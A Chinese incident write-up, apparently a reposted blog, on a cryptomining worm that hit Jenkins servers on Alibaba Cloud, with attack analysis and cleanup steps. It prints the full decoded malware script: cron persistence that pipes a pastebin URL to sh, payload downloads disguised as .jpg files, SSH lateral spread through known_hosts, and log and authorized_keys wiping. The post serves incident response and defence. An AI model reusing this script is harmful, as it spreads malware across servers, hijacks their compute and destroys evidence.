记一次感染挖矿病毒的经历

article/2025/9/21 21:58:45

2019独角兽企业重金招聘Python工程师标准>>> hot3.png

    下午五点十分、手机开始狂收阿里云ECS实例告警,所有告警都提示机器CPU满载。

    迅速登录阿里云查看监控大盘,发现全部38台机器CPU飙升满载。第三方客户也开始在群聊里反馈接口响应慢,失败率高的问题。顾不得别的赶紧登上去看看是什么进程在吃CPU,为了安全,我们禁止了账号密码,而是采用的密钥文件登录。但是登录却报异常了,身份验证失败!

    这完全不合道理啊,难道被黑了?从阿里控制台登录进去,什么态势感知、安骑士一点异常都没有,再看系统日志和登录用户,也没有任何异常。而TOP命令只能看到CPU满额,但是看不到哪个进程。最后从阿里云的实例监控上看到这个图:

6aea62550f3206d7d4e3af7c6a10c7db355.jpg

    开始怀疑是不是阿里的SLB有问题,于是发一个工单,开始漫长的等待,好在阿里云的效率还可以,打电话说了一句看看定时器。这一看不得了了,

3829b6107e52910f9ee8ffe149f095a41f0.jpg

    按图索骥,打开这个URL,发现像是一堆base64的密文,然后解密出来是这个样的

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbinecho "*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9
chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/system
chattr -i /etc/ld.so.preload
chattr -i /etc/cron.d/apache
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libntp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns
chkconfig --del kworker
chkconfig --del netdns
p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l)
if [ ${p} -eq 0 ];thenps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi
if [ -e "/tmp/gates.lod" ]; thenrm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)kill -9 $(cat /tmp/gates.lod)rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)kill -9 $(cat /tmp/moni.lod)rm -rf /tmp/{gates,moni}.lod
fiif [ ! -f "/tmp/.lsdpid" ]; thenARCH=$(uname -m)if [ ${ARCH}x = "x86_64x" ]; then(curl -fsSL http://thyrsi.com/t6/672/1550632834x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632834x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogselif [ ${ARCH}x = "i686x" ]; then(curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogselse(curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogsfinohup /tmp/watchdogs >/dev/null 2>&1 &
elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; thenARCH=$(uname -m)if [ ${ARCH}x = "x86_64x" ]; then(curl -fsSL http://thyrsi.com/t6/672/1550632834x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632834x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogselif [ ${ARCH}x = "i686x" ]; then(curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogselse(curl -fsSL http://thyrsi.com/t6/672/1550632869x2728279033.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550632869x2728279033.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogsfinohup /tmp/watchdogs >/dev/null 2>&1 &
fiif [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; thenfor h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
fi
echo 0>/root/.ssh/authorized_keys
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
#

    尝试先把那几个host屏蔽了,屏蔽后发现CPU确实下降了,但是过一会又上来了,定时脚本也一样清除后立马恢复。回去再看脚本,发现一个重要的文件watchdogs,先去百度下看看前贤的经验,找到如下链接https://www.360zhijia.com/anquan/362542.html。

    最后又去看了下我们jenkins的版本,确实是在受影响的范围内,下面是这个漏洞的说明http://www.nxadmin.com/penetration/1590.html。

    大致方向和感染原因找到了,但是如何杀毒呢?屏蔽host、删除病毒文件、删除定时都是治标不治本的办法,好在我们有定期备份镜像的习惯,找到最近的一次备份,然后还原,最后升级jenkins版本。

    但我们依然没有解决问题,这个病毒如何才能杀得干干净净,有知道的麻烦回复我,谢谢。

-------------------------------后续-------------------------------------------------

    领导不愧是领导,经领导的研究,以下是攻击原理和手工脱毒步骤。

    原理:

        针对特定漏洞的攻击,主要漏洞是jenkins插件如下:

a408ab41a929034a3e1bf4f11220e0125cb.jpg

    攻击者批量扫描暴露在80接口的jenkins服务,然后针对漏洞伪造请求执行病毒代码注入,主要是为本地创建一个定时器脚本。在系统message日志里可以找到这部分日志

dad40c1f2b782da241ff779f587e032492d.jpg

    然后定时器执行,先做自我保护,再清除其它挖矿程序或病毒还有netstat这样的工具,接着按CPU型号,匹配下载对应watchdogs(看门狗)并运行,然后检查ssh免密文件,如果有配置免密机器,直接登录感染,最后清除日志和混淆文件修改时间。看门狗运行的时候,会把本地preload.so库给替换掉,目的是只要系统运行,就必须保证挖矿脚本运行并且执行ps或者top命令的过滤掉病毒程序。但这的前提是root权限,如果jenkins是以root启动的,那么就获得了root权限。

    手工脱毒

    脱毒的原理就是找到病毒文件然后删除掉。但已感染机器是永远不可能找到的,所以必须关机然后把系统挂载到另外一台机器上,以磁盘的形式存在。如果是实体机,就用pe之类的进去,如果是云服务器就把系统做成一个镜像,然后挂载到另外一台机器上。进入磁盘后,可以看下最近修改的文件,一般都能看到,主要俩文件,一个是病毒,一个preload.so,删除掉,然后清除定时器文件,再开机

转载于:https://my.oschina.net/shyloveliyi/blog/3013081


http://chatgpt.dhexx.cn/article/RYdY8QKj.shtml

相关文章

记录一次云服务器被劫持下载了挖矿病毒的处理过程

etc被篡改导致系统中病毒 起因: 一年前买的阿里云服务器 , 买了没多久 , 因为没做什么安全措施 , 然后就莫名奇妙服务器被劫持 , 在上面下载了挖矿的一些脚本 ,当时做的处理方式 简单粗暴 直接重置了我的阿里云服务器 , 并且改了密码 , 同时在阿里云的服务器控制台 -> 安全…

中了挖矿病毒

最近一台服务器运行超级慢,任务管理器查看CPU占用100% ,使用autoruns.exe工具查看到异常任务和进程。 打开文件路径还发现以下文件,config.json , c3a.bat , wina.exe config.json 代码如下: {"api": {"id"…

Powershell 挖矿病毒处理与防范

最近,一种利用Powershell的挖矿病毒在企业网络中频繁爆发,该病毒其利用了WMIPowershell方式进行无文件攻击,并长驻内存进行挖矿。 Powershell的挖矿病毒具备无文件攻击的高级威胁外,还具有两种横向传染机制,分别为WMIE…

记云服务器中挖矿病毒与防范

文章目录 前言大致过程发现过程应对措施与防范 前言 我自己的一台腾讯云服务器还有工作室指导老师的电信云服务器都中过挖矿病毒,其特征都是出现CPU拉满的情况。 腾讯云 电信服务器 大致过程 发现过程 腾讯云 这是我自己的一台1核2G的服务器,带宽1mbps…

小程序 - 分享功能

将小程序分享至好友或者微信群,参考文档页面事件处理函数,小程序分享原来是可以监听成功分享的回调,但是该回调事件被微信禁用了,详情可查看分享功能调整 小程序分享,可通过右上角自带的分享按钮,也可以在.…

实现微信小程序分享功能

一、场景介绍 场景: 用户A分享小程序,用户B点击小程序,即用户A成功邀请新用户,用户A升级为VIP。 思路: 用户A分享小程序,用户B点击小程序,获取用户A提供的参数,并向后台发送请求&a…

uniapp微信小程序使用分享功能

实现效果为如下所示的小程序分享功能: 本项目是一个使用uniapp搭建的微信小程序,上线后点击右上角的…,发现其中的发送给朋友和分享到朋友圈是如下图所示的灰色不能点击: 那么,如何设置微信小程序的分享功能呢&#…

微信小程序分享朋友圈

微信小程序在基础库2.11.3之前没有分享到朋友圈的功能,分享的思路是用 canvas画布生成一张分享图片,保存到相册,用户将带有分享二维码的图片发到朋友圈,其他人可以识别图中二维码的方式进入小程序的指定分享页面。可参考智行火车票…

微信小程序分享页面

微信小程序页面无法分享到朋友圈之内的(只能分享到好朋友或者群中),并且微信小程序无法打开外部链接,只能跳转到小程序内部的pages页面。 问题来了,怎么通过小程序分享页面呢? 首先,这个页面一定…

uniapp微信小程序分享

uniapp微信公众号H5端分享:uniapp微信公众号h5端分享_停留的章小鱼的博客-CSDN博客 一、uniapp微信小程序分享(点击右上角胶囊 分享) 1、全局分享(每个页面胶囊都可以分享) !!!在…

关于微信小程序分享及分享朋友圈、复制链接

1、关于直接隐藏分享及分享朋友圈、复制链接 直接在需要禁用的小程序页面的onShow生命周期里使用 wx.hideShareMenu() 在体验版展示如下(分享和分享朋友圈已禁用,复制链接还在) 正式版才能完全生效,展示如下(分享和复…

微信小程序开启分享给好友及分享朋友圈功能

创建一个空白模板的微信小程序,发布成功后才发现不能分享给好友 及朋友圈 查了下才知道,要有分享功能需要开启。 在小程序首页的里添加以下两个函数 //用户点击右上角分享给好友,要现在分享到好友这个设置menu的两个参数,才可以…

uniapp 微信小程序分享、分享朋友圈功能

页内自定义分享按钮 当页面js上没有添加事件“onShareAppMessage”,右上角‘…’不会出现“转发”事件。 如果有事件,但是没有定义事件内容的话,转发的卡片则是当前页面的截屏信息。 官方文档:https://uniapp.dcloud.io/api/plug…

微信小程序实现分享到朋友圈

2020年7月8日。微信小程序推出分享朋友圈,所以笔者先来试一下,没想到一下搞成了 。。 按照微信官方文档得第一步,我们需要设置允许发给朋友,在小程序得生命周期里面这样写。 首先,把你的小程序基础库,改为…

小程序分享给好友以及分享到朋友圈

前言:小程序分享给好友或者朋友圈仅需我们使用微信自带的API,分享到朋友圈的前提是需要我们允许分享给好友,其次才可以分享到朋友圈,功能简单话不多说直接上官方API链接和代码。 一、分享给好友 wx.onShareAppMessage(function c…

微信小程序 转发 分享功能

官网文档:https://developers.weixin.qq.com/miniprogram/dev/framework/open-ability/share.html 第一种情况 点击小程序转发 不加入参数 //转发onShareAppMessage: function() {let users wx.getStorageSync(user);if (res.from button) {}return {title: 转发,…

小程序实现分享朋友圈

有过小程序基础的同学都应该知道,小程序是不能直接分享到朋友圈,起码是自从我写下这边文章起,小程序还没有提供分享朋友圈的api。 但是公司很多时候都会想要传播自己的小程序,从而获取更多的流量,从而分享朋友圈的功能…

微信小程序实现分享至朋友圈的功能

微信小程序实现分享至朋友圈的功能 微信小程序从基础库 2.11.3 开始,可将小程序页面分享到朋友圈。适用于内容型页面的分享,不适用于有较多交互的页面分享。 1 设置分享状态 小程序页面默认不可被分享到朋友圈,开发者需主动设置“分享到朋友…

微信小程序分享功能

由于小程序的分享(微信、头条平台),需要监听页面的onShareAppMessage生命周期,小程序需要在页面声明了此生命周期,点击右上角的"胶囊"才会有分享功能, 而一般情况下,我们希望每个页面都可以分享&#xff0c…

微信小程序之分享功能

微信小程序之分享功能 小程序风口正盛,将小程序作为获客的来源之一实在合适不过,想要让小程序的获客产生裂变,那么从将小程序的数据发送出去势在必行,本文提供以下几种方案作为数据出口,达到老拉新/口碑传播的效果。 …